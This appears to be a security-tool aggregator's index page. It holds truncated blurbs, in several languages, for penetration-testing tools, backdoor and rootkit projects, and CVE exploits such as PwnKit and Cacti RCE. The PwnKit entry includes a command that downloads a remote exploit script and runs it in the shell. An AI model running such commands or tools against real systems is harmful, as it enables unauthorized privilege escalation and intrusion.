DirtyTooth-RaspberryPi

DirtyTooth for Raspberry Pi Raspbian Stretch Bluetooth communications are on the increase. Millions of users use the technology to connect to peripherals that simplify and provide greater comfort and experience. There is a trick or hack for iOS 11.1.2 and earlier that takes advantage of the...

sippts

¿Qué es Sippts? Sippts es un conjunto de herramientas para auditar servidores y dispositivos VoIP que utilizan el protocolo SIP. Sippts está programado en Python y nos permite comprobar la seguridad de un servidor VoIP utilizando el protocolo SIP. ¿Es gratuito? Sí. Puedes usarlo, modificarlo y...

SharpMapExec

SharpMapExec A sharpen version of CrackMapExec. This tool is made to simplify penetration testing of networks and to create a swiss army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements. Besides scanning for access it can be used ...

Arcane

Arcane is a simple script designed to backdoor iOS packages iphone-arm and create the necessary resources for APT repositories. It was created for this publication to help illustrate why Cydia repositories can be dangerous and what post-exploitation attacks are possible from a compromised iOS...

linux-root-kit

Acerca de Este Proyecto Este proyecto fue desarrollado como parte del curso de Digitale Forensik en la Technische Hochschule Deggendorf. Demuestra una investigación forense completa y una simulación de ataque que involucra: Un ataque de confusión de dependencias en Python utilizando un paquete...

stackflow

stackflow Universal stack-based buffer overfow exploitation tool Usage root@kitploit: usage: ./stackflow.py OPTIONS optional arguments: -h, --help show this help message and exit -r RHOST, --rhost RHOST rhost -p RPORT, --rport RPORT rport -c CMDS, --cmds CMDS commands to send to server before...

pyshark-legacy

pyshark This repository is for the legacy version of pyshark, which works on Python2.7+. It only receives bugfixes after version 0.3.8. For the new version that's only supported on Python 3.5+, please use themain repo Python wrapper for tshark, allowing python packet parsing using wireshark...

bscan

:mag: 一个异步目标枚举工具 :magright: 简介 bscan 是一个命令行工具，用于执行主动信息收集和服务枚举。其核心是异步地生成已知扫描工具的子进程，将扫描结果转化为高亮显示的终端输出和结构清晰的目录组织。 许可证 bscan 仅用于教育目的和 CTF 等活动，未经明确事先同意，切勿在机器和/或网络上运行。此代码以 MIT 许可证 发布。 安装 bscan 是为在 Kali Linux 上运行而编写的，但只要有合适的工具，它本质上也可以在任意操作系统上运行。有几种不同形式的打包发布和安装方式。 最简单的上手方式是下载适合你操作系统的单文件可执行版本（无需安装 Python）...

bscan

:mag: an asynchronous target enumeration tool :magright: Synopsis bscan is a command-line utility to perform active information gathering and service enumeration. At its core, bscan asynchronously spawns processes of well-known scanning utilities, repurposing scan results into highlighted console...

PwnKit

PwnKit Exploit autónomo para CVE-2021-4034 - Escalada de privilegios local de Pkexec Uso Debería funcionar directamente en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

CVE-2020-8813-Cacti-RCE-in-graph_realtime

CVE-2020-8813 - RCE through graphrealtime.php in Cacti 1.2.8 Features RCE through graphrealtime.php in Cacti 1.2.8 Live mode Execute a single command Verbose mode Description In Cacti 1.2.8, the graphrealtime.php script permits remote attackers to execute arbitrary operating system commands by...

CVE-2019-12744

CVE-2019-12744 Information Exploit Title: Remote Command Execution through Unvalidated File Upload in SeedDMS versions 5.1.11 CVE: CVE-2019-12744 Vendor Homepage: https://www.seeddms.org/index.php?id=2 Exploit Author: NobodyAtall Tested version: Seeddms 5.1.10, 5.0.11 Tested OS: Windows 7 x64...

CVE-2022-46395

Exploit for CVE-2022-46395 The write up can be found here. This is a bug in the Arm Mali kernel driver that I reported in November 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. The exploit is...

CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637: AppleSEPKeyStore Use-After-Free CVE-2026-20637 | Author: Johnny Franks @zeroxjf Component: AppleKeyStore Impact: An app may be able to cause unexpected system termination Description: A use after free issue was addressed with improved memory management. —Apple Security Content, iO...

CVE-2021-40845

CVE-2021-40845 I. VULNERABILIDAD AlphaWeb XE: carga insegura de archivos autenticada que conduce a RCE II. REFERENCIA CVE CVE-2021-40845 III. PROVEEDOR https://www.zenitel.com/ IV. DESCRIPCIÓN La parte web del servidor de audio Zenitel AlphaCom XE hasta la versión 11.2.3.10, denominada AlphaWeb X...

scrying

NCC Group Scrying A new tool for collecting RDP, web and VNC screenshots all in one place This tool is still a work-in-progress and should be mostly usable but is not yet complete. Please file any bugs or feature requests as GitHub issues Motivation Since Eyewitness recently dropped support for R...

rewerse-engineering

rewerse engineering Un cliente no oficial de la API de REWE en Go y Python. Implementa los endpoints de acceso público sin autenticación que la aplicación REWE utiliza para consultar descuentos actuales Angebote, productos, mercados y retiradas de productos. Versión de APK compatible actual: 5.16...

Exploit for Static Code Injection in N-Able N-Central

CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit Ove...

C2-Hunter

C2-Hunter C2-Hunter is a program designed for malware analysts to extract Command and Control C2 traffic from malwares in real-time. The program uses a unique approach by hooking into win32 connections APIs. With C2-Hunter, malware analysts can now intercept and analyze communication in real-time...

Yasso

Yasso Powerful intranet penetration auxiliary toolset - let Yasso be like the wind. Supports brute-forcing of RDP, SSH, Redis, PostgreSQL, MongoDB, MSSQL, MySQL, WinRM and other services, fast port scanning, powerful web fingerprint recognition, one-click exploitation of various built-in services...